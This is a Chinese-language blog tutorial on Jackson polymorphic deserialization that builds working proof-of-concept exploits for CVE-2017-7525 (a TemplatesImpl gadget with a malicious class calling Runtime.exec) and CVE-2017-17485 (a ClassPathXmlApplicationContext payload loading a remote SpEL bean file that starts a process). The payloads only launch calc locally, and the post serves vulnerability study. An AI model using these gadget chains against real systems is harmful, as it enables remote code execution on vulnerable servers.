Jackson反序列化

依赖

jdk7u21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-io</artifactId>
<version>1.3.2</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.6</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.3.13.RELEASE</version>
</dependency>

之前讲jackson原生反序列化的时候已经大概了解过它的序列化和反序列化的流程,这里说一下它的注释

还是那个User类。

JacksonPolymorphicDeserialization

简单地说,Java多态就是同一个接口使用不同的实例而执行不同的操作。

那么问题来了,如果对多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例呢?——Jackson实现了JacksonPolymorphicDeserialization机制来解决这个问题。

JacksonPolymorphicDeserialization即Jackson多态类型的反序列化:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如Object、接口或抽象类,则可以在JSON字符串中指定其具体类型,Jackson将生成具体类型的实例。

简单地说,就是将具体的子类信息绑定在序列化的内容中以便于后续反序列化的时候直接得到目标子类对象,其实现有两种:

  • DefaultTyping
  • @JsonTypeInfo注解。

下面具体看一下。

DefaultTyping

1
com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping

Jackson提供一个enableDefaultTyping设置,其包含4个值:

1
2
3
4
5
6
public enum DefaultTyping {
JAVA_LANG_OBJECT,
OBJECT_AND_NON_CONCRETE,
NON_CONCRETE_AND_ARRAYS,
NON_FINAL
}

JAVA_LANG_OBJECT

当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)。

举个例子,给 User 里添加一个 Object object 的属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class User {
private String username;
private String password;
private Object object;

public User() {
System.out.println("调用了无参方法");
}

public User(String username, String password, Object object) {
System.out.println("调用了有参方法");
this.username = username;
this.password = password;
this.object = object;
}

public String getUsername() {
System.out.println("调用了getUsername方法");
return username;
}

public String getPassword() {
System.out.println("调用了getPassword方法");
return password;
}

public void setUsername(String username) {
System.out.println("调用了setUsername方法");
this.username = username;
}

public void setPassword(String password) {
System.out.println("调用了setPassword方法");
this.password = password;
}

public Object getObject() {
System.out.println("调用了getObject方法");
return object;
}

public void setObject(Object object) {
System.out.println("调用了setObject方法");
this.object = object;
}
}

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.fasterxml.jackson.databind.ObjectMapper;

public class test1 {
public static void main(String[] args) throws Exception {
User user = new User("Infernity", "123456",new B());
ObjectMapper mapper = new ObjectMapper();
//mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); //开启JAVA_LANG_OBJECT
System.out.println("================================================================================");

String json = mapper.writeValueAsString(user); //序列化
System.out.println("================================================================================");
System.out.println(json);

System.out.println("================================================================================");

User other = mapper.readValue(json, User.class); //反序列化
System.out.println("================================================================================");
System.out.println(other);
}
}

class B{
public String name = "BBB";
}

test1

在没有开启JAVA_LANG_OBJECT是这样的,没有B类的对象。我们看看开启之后的:

test2

也就是说,在反序列化的时候,会将类中的夹带的其他类跟着一起还原出来。

OBJECT_AND_NON_CONCRETE

当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。

此外,enableDefaultTyping()默认的无参数的设置就是此选项。

测试类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.fasterxml.jackson.databind.ObjectMapper;

public class test1 {
public static void main(String[] args) throws Exception {
User user = new User("Infernity", "123456",new MySex());
ObjectMapper mapper = new ObjectMapper();
//mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); //OBJECT_AND_NON_CONCRETE
System.out.println("================================================================================");

String json = mapper.writeValueAsString(user); //序列化
System.out.println("================================================================================");
System.out.println(json);

System.out.println("================================================================================");

User other = mapper.readValue(json, User.class); //反序列化
System.out.println("================================================================================");
System.out.println(other);
}
}

interface Sex {
public void setSex(int sex);
public int getSex();
}

class MySex implements Sex {
int sex;

public int getSex() {
return sex;
}

public void setSex(int sex) {
this.sex = sex;
}
}

没开启:

1

开启:

2

NON_CONCRETE_AND_ARRAYS

支持上文全部类型的Array类型。

例如下面的代码,我们的Object里存放B的对象数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.fasterxml.jackson.databind.ObjectMapper;

public class test1 {
public static void main(String[] args) throws Exception {
B[] b = new B[2];
b[0] = new B();
b[1] = new B();
User user = new User("Infernity", "123456",b);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); //NON_CONCRETE_AND_ARRAYS
System.out.println("================================================================================");

String json = mapper.writeValueAsString(user); //序列化
System.out.println("================================================================================");
System.out.println(json);

System.out.println("================================================================================");

User other = mapper.readValue(json, User.class); //反序列化
System.out.println("================================================================================");
System.out.println(other);
}
}

class B{
public String name = "BBB";
}

3

NON_FINAL

除了前面的所有特征外,包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的属性信息都需要被序列化和反序列化。

这里就不再写了。

总结

DefaultTyping的几个设置选项是逐渐扩大适用范围的,如下表:

DefaultTyping类型 描述说明
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为Object、Interface、AbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL 所有除了声明为final之外的属性

@JsonTypeInfo注解

@JsonTypeInfo注解是Jackson多态类型绑定的一种方式,支持下面5种类型的取值:

1
2
3
4
5
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)

其实就是给类中属性加注解。

JsonTypeInfo.Id.NONE

新建一个test软件包,里面放一个Infernity类:

1
2
3
4
5
package test;

public class Infernity {
public String name = "testname";
}

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import test.Infernity;

public class test1 {
public static void main(String[] args) throws Exception {
A a = new A();
ObjectMapper mapper = new ObjectMapper();

String json = mapper.writeValueAsString(a); //序列化
System.out.println(json);
}
}

class A{
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object object = new Infernity();
}

4

和没有设置注解之前是一样的。

JsonTypeInfo.Id.CLASS

5

输出看到,object属性含有具体的类的信息,同时反序列化出来的object属性Infernity类对象,即能够成功对指定类型进行序列化和反序列化。

也就是说,在Jackson反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过@class的方式指定相关类,并进行相关调用。类似于Fastjson中的@type注解,不是吗?

JsonTypeInfo.Id.MINIMAL_CLASS

6

使用@c替代了@class,官方描述中的意思是缩短了相关类名,实际效果和JsonTypeInfo.Id.CLASS类似,能够成功对指定类型进行序列化和反序列化,都可以用于指定相关类并进行相关的调用。

JsonTypeInfo.Id.NAME

7

输出看到,object属性中多了@type但没有具体的包名在内的类名,因此在后面的反序列化的时候会报错,也就是说这个设置值是不能被反序列化利用的。

JsonTypeInfo.Id.CUSTOM

其实这个值时提供给用户自定义的意思,我们是没办法直接使用的,需要手动写一个解析器才能配合使用,直接运行会抛出异常:

8

总结(利用条件)

所以按照上述分析,3种情况下满足其一可以触发Jackson反序列化漏洞:

  1. enableDefaultTyping()
  2. @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
  3. @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)

我们把Infernity类改一改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package test;

public class Infernity {
public String name = "testname";
public Infernity() {
System.out.println("调用了无参构造方法");
}
public Infernity(String name) {
System.out.println("调用了有参构造方法");
this.name = name;
}

public void setName(String name){
System.out.println("调用了setName");
this.name = name;
}
}

测试类也改改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.fasterxml.jackson.databind.ObjectMapper;
import test.Infernity;

public class test1 {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

String json = "{\"object\":[\"test.Infernity\",{\"name\":\"testname\"}]}";
A a = mapper.readValue(json, A.class);
System.out.println(a);
}
}

class A{
public Object object = new Infernity(); //这里会调用一次无参构造方法
public void setObject(Object object){
System.out.println("调用了setObject");
this.object = object;
}
}

9

在Jackson反序列化中,若调用了enableDefaultTyping()函数或使用@JsonTypeInfo注解指定反序列化得到的类的属性为JsonTypeInfo.Id.CLASSJsonTypeInfo.Id.MINIMAL_CLASS,则会调用该属性的类的构造函数和setter方法。

漏洞原理

由之前的结论知道,当使用的JacksonPolymorphicDeserialization机制配置有问题时,Jackson反序列化就会调用属性所属类的构造函数和setter方法。

而如果该构造函数或setter方法存在危险操作,那么就存在Jackson反序列化漏洞。

利用方式

CVE-2017-7525(基于TemplatesImpl利用链)

影响版本

Jackson 2.6系列 < 2.6.7.1

Jackson 2.7系列 < 2.7.9.1

Jackson 2.8系列 < 2.8.8.1

JDK版本为1.7

链子寻找

根据TemplatesImpl公式:

1
2
3
4
5
6
7
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

我们需要这样的json序列化后的字符串:

1
2
3
4
5
6
7
8
9
10
{
"object":[
"TemplatesImpl类的包名在内的类名",
{
"_bytecodes属性的setter方法,去掉set"[恶意类的base64],
"_name属性的setter方法,去掉set":"Infernity",
"想办法调用getOutputProperties":{}
}
]
}

_factory属性默认为null

setTransletBytecodes

setTransletName

MethodProperty_deserializeAndSet

SetterlessProperty_deserializeAndSet

前两个属性transletBytecodestransletName都是通过反射机制调用setter方法设置的,但是对于变量outputProperties并没有对应的setter方法,此时他就会去调用getter方法,也就是开始了getOutputProperties()链,这就是该利用链能被成功触发的原因。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;

import java.io.*;

public class Main {
public static void main(String[] args) throws IOException {
String exp = readClassStr("C:\\Users\\13664\\Desktop\\jackson\\target\\classes\\calc.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'Infernity',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); //三个条件之一

mapper.readValue(jsonInput, Test.class); //反序列化

}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
return Base64.encode(byteArrayOutputStream.toByteArray());
}
}

class Test {
public Object object;
}

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class calc extends AbstractTranslet {

public calc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
calc c = new calc();
}
}

calc1

但是在jdk1.8某个版本后,defineTransletClasses()中新增了对_tfactory的处理,但是无法给它赋值,所以会抛出异常,导致poc无法生效。

CVE-2017-17485(基于ClassPathXmlApplicationContext利用链)

影响版本

Jackson 2.7系列 < 2.7.9.2

Jackson 2.8系列 < 2.8.11

Jackson 2.9系列 < 2.9.4

可直接在JDK1.8上运行。

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-io</artifactId>
<version>1.3.2</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.6</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
</dependencies>

poc

该漏洞需要 Spting spel表达式的配合。

首先在本地起一个http服务,spel.xml:

1
2
3
4
5
6
7
8
9
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
1
2
3
4
5
6
7
8
9
10
11
12
13
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Main {
public static void main(String[] args) throws IOException {
//CVE-2017-17485
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:8000/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}

calc2

跟进调试

这个payload写法就是让Jackson反序列化的时候自动调用ClassPathXmlApplicationContext类的构造函数

ClassPathXmlApplicationContext

setConfigLocations方法把spel.xml文件所在的URL地址写入,然后跟进refresh方法。

refresh

发现调用了invokeBeanFactoryPostProcessors()函数,顾名思义,就是调用上下文中注册为beans的工厂处理器

中间部分省略,详细请看https://fynch3r.github.io/%E3%80%90%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E3%80%91Jackson/

一直到AbstractBeanFactory.doResolveBeanClass方法,

doResolveBeanClass

用来解析Bean类,其中调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容,此时className参数是”java.lang.ProcessBuilder”
跟进evaluateBeanDefinitionString函数

evaluateBeanDefinitionString

其中调用了this.beanExpressionResolver.evaluate(),此时this.beanExpressionResolver指向的是StandardBeanExpressionResolver,也就是说已经调用到对应的SpEL表达式解析器了

evaluate

跟进evaluate方法,Expression.getValue()方法即SpEL表达式执行的方法,其中sec参数是我们可以控制的内容,即由spel.xml解析得到的SpEL表达式。

至此,整个调用过程就大致过了遍。简单地说,就是传入的需要被反序列化的org.springframework.context.support.ClassPathXmlApplicationContext类,它的构造函数存在SpEL注入漏洞,进而导致可被利用来触发Jackson反序列化漏洞。

参考文章:

https://fynch3r.github.io/%E3%80%90%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E3%80%91Jackson/


Jackson反序列化
http://example.com/2025/03/05/Jackson反序列化/
作者
Infernity
发布于
2025年3月5日
许可协议